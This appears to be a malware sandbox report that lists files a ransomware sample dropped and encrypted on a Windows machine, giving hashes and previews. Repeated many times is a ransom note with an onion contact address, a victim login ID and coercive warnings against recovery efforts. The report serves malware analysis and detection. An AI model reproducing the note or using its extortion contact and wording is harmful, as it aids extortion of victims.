Preview:	...;.9o...3....S..p..9z..7.D....Us..5).x....8.`.@.\o8.......o_XY e^....3.C......}.6w..,.P.....1..%~..k......?.0q..8c......PxBc...t...4..........&l..;.\|_...P?..x)..1..!.{.s&.\o8.......eUXD/f.....2.l......6.#F...F....W1..&.....?.}.j .fu%....w<AuB%w.....2....o..[..6t..o.....j..;/.x........J.Wt!......t.8..,c.....p.N....._..^.T.7.LD....3..ee..N....-.{.{}..1x..M....d..'H.w..).....T..}.!p..`.)?..]+..x~..I....?.}.j .fw).....s.8;^.d............._..^%..3..{...\-..~7..6....;.}.#l.Xl)..h...eVnI.p.....q.X...T..=..:p..1.LP...A;..n).M....).e.m&.Zs)......t..tB'v.....,......._..^%..3..{...\-..~7..6....;.}.#l.Xl)..h...eVnI.p.....q.X...T..=..:p..1.LP...A;..n).M....).e.m&.Uh/.....s.8;^.d...........k..'.&l..7..a...\)..;'..6....!.c.z..]?A..k...._RuH v.....'........\|..n(E.h.@Y...Z=..yx..x......`.~7.K^>......t..(^.d...........k..3..4k..*.Q...:b..gr..-.... .f.\,.In>.....QnPjH..t...%........6..n Y.n..U..^7..ed..0....(.v..I...8..=...ator>..</software_identification_tag>...

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1313
Entropy (8bit):	7.582619176401083
Encrypted:	false
SSDEEP:
MD5:	657CA2FC7965DFE20F211474C1E75A3E
SHA1:	6988E781D4AE427551064965AE79B231EC103925
SHA-256:	6A1EB237901E668AB52AF97FB3737C8988A998EDA81C076B833E39A5136959EA
SHA-512:	5EEC03740D4D014EF09FF78854B7040E291EA4B47AC59A0529CF6185D8E772DA41252773962DC99BA189F6DA3BBBC3B382B83CE11A7BEDB568FDCDD8446AC504
Malicious:	false
Preview:	...;.9o...3....S..p..9z..7.D....Us..5).x....8.`.@.\o8.......o_XY e^....3.C......}.6w..,.P.....1..%~..k......?.0q..8c......PxBc...t...4..........&l..;.\|_...P?..x)..1..!.{.s&.\o8.......eUXD/f.....2.l......6.#F...F....W1..&.....?.}.j .fu%....w<AuB%w.....2....o..[..6t..o.....j..;/.x........J.Wt!......t.8..,c.....p.N....._..^.T.7.LD....3..ee..N....-.{.{}..1x..M....d..'H.w..).....T..}.!p..`.)?..]+..x~..I....?.}.j .fw).....s.8;^.d............._..^%..3..{...\-..~7..6....;.}.#l.Xl)..h...eVnI.p.....q.X...T..=..:p..1.LP...A;..n).M....).e.m&.Zs)......t..tB'v.....,......._..^%..3..{...\-..~7..6....;.}.#l.Xl)..h...eVnI.p.....q.X...T..=..:p..1.LP...A;..n).M....).e.m&.Uh/.....s.8;^.d...........k..'.&l..7..a...\)..;'..6....!.c.z..]?A..k...._RuH v.....'........\|..n(E.h.@Y...Z=..yx..x......`.~7.K^>......t..(^.d...........k..3..4k..*.Q...:b..gr..-.... .f.\,.In>.....QnPjH..t...%........6..n Y.n..U..^7..ed..0....(.v..I...8..=...ator>..</software_identification_tag>...

C:\ProgramData\ssh\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\AppData\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\Desktop\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\Documents\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\Downloads\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\Favorites\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\Links\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\Music\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\NTUSER.DAT

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	262458
Entropy (8bit):	4.978870129145874
Encrypted:	false
SSDEEP:
MD5:	EFD5DE5EB27A6129C377D0F09828207D
SHA1:	1303450852C19E45ED2C55495EB3CF00669A1C82
SHA-256:	BB76D82D65CBCF7205A1C738815B507425E83C821C28CC7D767F055611602035
SHA-512:	FBB0AC949BC2CAB2583B576551E897FB5527D12D798BC1AA8A27A98291B5D3AAC2B504A3B070373A7F67458825B44660E86FAD0CC14A2BE6E0C1E1F99B5DE51A
Malicious:	false
Preview:	.1..x.......G.=...g.(6^.ma.=.=.z......7v..l.k..H. K.m...s.e.r.s.\.D.e.f.a.u.l.t.\.N.T.U.S.E.R...D.A.T......S........:.i+...S........:.i+.......S........:.i+rmtm...7....OfRg.............T.kU.......G.=...g.)6^.ha.=.=.{......5v..lJk...H. q.1...................................................................................................................................T.kU.......G.=...g.)6^.ha.=.=.{......5v..lJk...H. q.1................................................................F>.................................................................T.kU.......G.=...g.)6^.ha.=.=.{......5v..lJk...H. q.1...................................................................................................................................T.kU.......G.=...g.)6^.ha.=.=.{......5v..lJk...H. q.1...................................................................................................................................T.kU.......G.=...g.)6^.ha.=.=.{.....

C:\Users\Default\NTUSER.DAT.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	262458
Entropy (8bit):	4.978870129145874
Encrypted:	false
SSDEEP:
MD5:	EFD5DE5EB27A6129C377D0F09828207D
SHA1:	1303450852C19E45ED2C55495EB3CF00669A1C82
SHA-256:	BB76D82D65CBCF7205A1C738815B507425E83C821C28CC7D767F055611602035
SHA-512:	FBB0AC949BC2CAB2583B576551E897FB5527D12D798BC1AA8A27A98291B5D3AAC2B504A3B070373A7F67458825B44660E86FAD0CC14A2BE6E0C1E1F99B5DE51A
Malicious:	false
Preview:	.1..x.......G.=...g.(6^.ma.=.=.z......7v..l.k..H. K.m...s.e.r.s.\.D.e.f.a.u.l.t.\.N.T.U.S.E.R...D.A.T......S........:.i+...S........:.i+.......S........:.i+rmtm...7....OfRg.............T.kU.......G.=...g.)6^.ha.=.=.{......5v..lJk...H. q.1...................................................................................................................................T.kU.......G.=...g.)6^.ha.=.=.{......5v..lJk...H. q.1................................................................F>.................................................................T.kU.......G.=...g.)6^.ha.=.=.{......5v..lJk...H. q.1...................................................................................................................................T.kU.......G.=...g.)6^.ha.=.=.{......5v..lJk...H. q.1...................................................................................................................................T.kU.......G.=...g.)6^.ha.=.=.{.....

C:\Users\Default\OneDrive\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\Pictures\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\Saved Games\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\Videos\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Default\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Public\AccountPictures\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Public\Desktop\Adobe Acrobat.lnk

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2375
Entropy (8bit):	7.198163489949244
Encrypted:	false
SSDEEP:
MD5:	DF37EDBF33446BBCE660ECD314D46EE4
SHA1:	9742494831ED6FE0A77E9A4E4B3F9A8364AD006C
SHA-256:	0B70726C1D2BBFD1FC80984E240FF026404B62399035B2E8E0EE6636A86F8DAC
SHA-512:	E92A778740B8DE2D30FACF25B6CABC3A1800C2E651899FF6D3B329DA24F7FF14A3A02E05A6116731E287D353D20AED06E013F47B7708E54DFD773D5111D5C0C2
Malicious:	false
Preview:	....r.4.cs4_...M.!..u..J...{..%.Y..H.....Dy...B{{.\A.+.F.....p.4.cs.]....$.:..O]........w.0P.TA....^;.@9..h-.\AZ1F......B&.4C1<...~.M....q4..J.t..6...sj.TA....^;.@9..h-..\A.........p.4ac..2. ......4.J..........j)Tr.2..^_.,9.D-.nA.7F.....p.4"cs._.C....t.V.J....B...<...O...^.IA9..m-.\A..F.......5Rc..0.b.(.....+4.J....7...2)...X~..^}.I9........}......~A.p.4.cs._...M.....u4F...........j$T5. .^x.@9..>-..\A.C..........Ugc3.V....z..%F6c....{.....rjETA....^;.@9.......A.rF......p.4.c..m.....m.U4.)........;jLTE..z.....nB.F-.)...F.....p.4.cs._...M....4.J...........j TA....^_.@9..h-.\A..F.....p.4.cb._...M...e4.J.........J.=-\|s..:T.%e...B..(a.i\........1.F\|...q.x.M.....[4.J......../j.T3.o.^I.!9.H-..5A.eF.....p.4qc....A......4.J.........2j&T3.o.^Z.49..)-...A.bF.....p.4vc8...:......4.J..........j6T5.a.^W.%9.4-...A.7F.....p.4>cB.o.3.~.....E4.J.........CjhT..C..^..p9..\-...A.0F......p.4Pc,...c.?....4.J.........sjB

C:\Users\Public\Desktop\Adobe Acrobat.lnk.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2375
Entropy (8bit):	7.198163489949244
Encrypted:	false
SSDEEP:
MD5:	DF37EDBF33446BBCE660ECD314D46EE4
SHA1:	9742494831ED6FE0A77E9A4E4B3F9A8364AD006C
SHA-256:	0B70726C1D2BBFD1FC80984E240FF026404B62399035B2E8E0EE6636A86F8DAC
SHA-512:	E92A778740B8DE2D30FACF25B6CABC3A1800C2E651899FF6D3B329DA24F7FF14A3A02E05A6116731E287D353D20AED06E013F47B7708E54DFD773D5111D5C0C2
Malicious:	false
Preview:	....r.4.cs4_...M.!..u..J...{..%.Y..H.....Dy...B{{.\A.+.F.....p.4.cs.]....$.:..O]........w.0P.TA....^;.@9..h-.\AZ1F......B&.4C1<...~.M....q4..J.t..6...sj.TA....^;.@9..h-..\A.........p.4ac..2. ......4.J..........j)Tr.2..^_.,9.D-.nA.7F.....p.4"cs._.C....t.V.J....B...<...O...^.IA9..m-.\A..F.......5Rc..0.b.(.....+4.J....7...2)...X~..^}.I9........}......~A.p.4.cs._...M.....u4F...........j$T5. .^x.@9..>-..\A.C..........Ugc3.V....z..%F6c....{.....rjETA....^;.@9.......A.rF......p.4.c..m.....m.U4.)........;jLTE..z.....nB.F-.)...F.....p.4.cs._...M....4.J...........j TA....^_.@9..h-.\A..F.....p.4.cb._...M...e4.J.........J.=-\|s..:T.%e...B..(a.i\........1.F\|...q.x.M.....[4.J......../j.T3.o.^I.!9.H-..5A.eF.....p.4qc....A......4.J.........2j&T3.o.^Z.49..)-...A.bF.....p.4vc8...:......4.J..........j6T5.a.^W.%9.4-...A.7F.....p.4>cB.o.3.~.....E4.J.........CjhT..C..^..p9..\-...A.0F......p.4Pc,...c.?....4.J.........sjB

C:\Users\Public\Desktop\Firefox.lnk

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1307
Entropy (8bit):	7.345433538538818
Encrypted:	false
SSDEEP:
MD5:	A17DD9D43D5D7405D071195DEF19708B
SHA1:	547126AC9F5E1AF22A7A427BBE20B38017B53429
SHA-256:	8EE41DA180F785985AA5C59B31A7B44D6C13F2C2655E325910EE679BBE099D3A
